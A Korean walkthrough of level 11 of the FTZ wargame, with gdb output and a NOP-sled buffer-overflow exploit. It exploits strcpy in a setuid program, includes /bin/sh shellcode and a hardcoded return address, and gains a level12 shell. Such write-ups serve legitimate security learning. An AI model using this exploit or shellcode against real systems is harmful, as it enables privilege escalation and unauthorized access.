F.T.Z level11

```
[level11@ftz level11]$ ls -al
total 96
drwxr-xr-x    4 root     level11      4096 Mar 19  2003 .
drwxr-xr-x   34 root     root         4096 Sep 10  2011 ..
-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme
-rw-------    1 root     root            1 Jan 15  2010 .bash_history
-rw-r--r--    1 root     level11        24 Feb 24  2002 .bash_logout
-rw-r--r--    1 root     level11       224 Feb 24  2002 .bash_profile
-rw-r--r--    1 root     level11       151 Feb 24  2002 .bashrc
-rw-r--r--    1 root     level11       400 Jan 25  1999 .cshrc
-rw-r--r--    1 root     level11      4742 Jan 25  1999 .emacs
-r--r--r--    1 root     level11       319 Jan 25  1999 .gtkrc
-rw-r--r--    1 root     level11       100 Jan 25  1999 .gvimrc
-rw-r-----    1 root     level11       168 Mar  8  2003 hint
-rw-r--r--    1 root     level11       226 Jan 25  1999 .muttrc
-rw-r--r--    1 root     level11       367 Jan 25  1999 .profile
drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level11      4096 Jul  5 15:14 tmp
-rw-r--r--    1 root     root            1 May  7  2002 .viminfo
-rw-r--r--    1 root     level11      4145 Jan 25  1999 .vimrc
-rw-r--r--    1 root     level11       245 Jan 25  1999 .Xdefaults
[level11@ftz level11]$
```

[그림 1]

우선 hint 파일을 보면

```
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}


[level11@ftz level11]$
```

[그림 2]

소스코드를 알려준다 소스코드를 보았을때 우선 str이 256크기로 선언되었고 오버플로우 공격에 취약한 strcpy를 사용하고있다.

attackme를 제한없이 gdb로 실행시키기위해 tmp디렉터리로 복사를해준다 `cp attackme /home/level11/tmp`

이 문제를 풀기위해 NOP sled 공격방법을 이용할것이다

NOP sled

NOP sled는 쉘코드를 앞에 뒤에 NOP(No Operation)명령어를 포함하여 메모리에저장하고 버퍼 오버 플로우 공격을 이용하여 RET값에 NOP주소로 저장하을하게되면 이후 가리키는 지점이 NOP가 있기때문에 한 바이트씩 증가하여 쉘 코드를 만나게 된다.

```
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:    push   ebp
0x08048471 <main+1>:    mov    ebp,esp
0x08048473 <main+3>:    sub    esp,0x108
0x08048479 <main+9>:    sub    esp,0x8
0x0804847c <main+12>:   push   0xc14
0x08048481 <main+17>:   push   0xc14
0x08048486 <main+22>:   call   0x804834c <setreuid>
0x0804848b <main+27>:   add    esp,0x10
0x0804848e <main+30>:   sub    esp,0x8
0x08048491 <main+33>:   mov    eax,DWORD PTR [ebp+12]
0x08048494 <main+36>:   add    eax,0x4
0x08048497 <main+39>:   push   DWORD PTR [eax]
0x08048499 <main+41>:   lea    eax,[ebp-264]
0x0804849f <main+47>:   push   eax
0x080484a0 <main+48>:   call   0x804835c <strcpy>
0x080484a5 <main+53>:   add    esp,0x10
0x080484a8 <main+56>:   sub    esp,0xc
0x080484ab <main+59>:   lea    eax,[ebp-264]
0x080484b1 <main+65>:   push   eax
0x080484b2 <main+66>:   call   0x804833c <printf>
0x080484b7 <main+71>:   add    esp,0x10
0x080484ba <main+74>:   leave
0x080484bb <main+75>:   ret
0x080484bc <main+76>:   nop
0x080484bd <main+77>:   nop
0x080484be <main+78>:   nop
0x080484bf <main+79>:   nop
End of assembler dump.
```

[그림 3]

[그림 3]은 복사한 attackme 를 gdb로 열은 상황이다 이때 소스코드와 다른점을 볼수있는대 0x108은 10진수로 변환하게되면 264인것을 알수있다 하지만 소스코드에서는 str이 256으로 선언을 하였는대 이것은 8바이트의 dummy값이 들어간것임을 알수있다.

NOP의 주소를 파악하기위해 먼저 `b*main`메인에 브레이크포인트를 걸어준다. 그후

```
(gdb) r `python -c'print"A"*268+"\x90\x90\x90\x90"'`
```

를입력한후

`x/100wx $esp`로 주소를찾아보면

```
0xbffffabc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffacc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffadc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffaec:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffafc:     0x00000000      0x00000000      0x69000000      0x00363836
0xbffffb0c:     0x6d6f682f      0x656c2f65      0x316c6576      0x6d742f31
0xbffffb1c:     0x74612f70      0x6b636174      0x4100656d      0x41414141
0xbffffb2c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb3c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb4c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb5c:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)
0xbffffb6c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb7c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb8c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbcc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbdc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbec:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbfc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc0c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc1c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc2c:     0x41414141      0x90414141      0x00909090      0x54534f48
0xbffffc3c:     0x454d414e      0x7a74663d      0x6361682e      0x7372656b
0xbffffc4c:     0x6f6f6863      0x726f2e6c      0x48530067      0x3d4c4c45
0xbffffc5c:     0x6e69622f      0x7361622f      0x45540068      0x783d4d52
0xbffffc6c:     0x6d726574      0x53494800      0x5a495354      0x30313d45
0xbffffc7c:     0x53003030      0x435f4853      0x4e45494c      0x39313d54
0xbffffc8c:     0x36312e32      0x2e302e38      0x30362039      0x20383938
0xbffffc9c:     0x53003232      0x545f4853      0x2f3d5954      0x2f766564
0xbffffcac:     0x2f737470      0x53550031      0x6c3d5245      0x6c657665
0xbffffcbc:     0x4c003131      0x4f435f53      0x53524f4c      0x3d6f6e3d
0xbffffccc:     0x663a3030      0x30303d69      0x3d69643a      0x333b3030
0xbffffcdc:     0x6e6c3a34      0x3b30303d      0x703a3633      0x30343d69
0xbffffcec:     0x3a33333b      0x303d6f73      0x35333b30      0x3d64623a
(gdb)
```

[그림 4]

[그림 4]와 같이 41즉 A의 아스키코드값 과 RET즉 우리가 NOP의 주소를 넣어야할 주소도 확인할수있었다. 그리고 주소중 하나를 이용하여 쉘코드를 따낸다

쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8

총 61바이트

즉 207(NOP)+61(shellcode)+(주소)를입력하면 쉘코드를 얻을수있다.

-이문제에서는 ASLR 이라는 기법을 사용하여 주소를 계속 랜덤으로 생성하기 때문에 쉘코드를 따기위해 여러번 시도를 해야된다.

```
[level11@ftz tmp]$ /home/level11/attackme `python -c'print"\x90"*207+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x7c\xfb\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$
```

이후 my-pass 를입력하면 level12의 패스워드를 얻을수있다.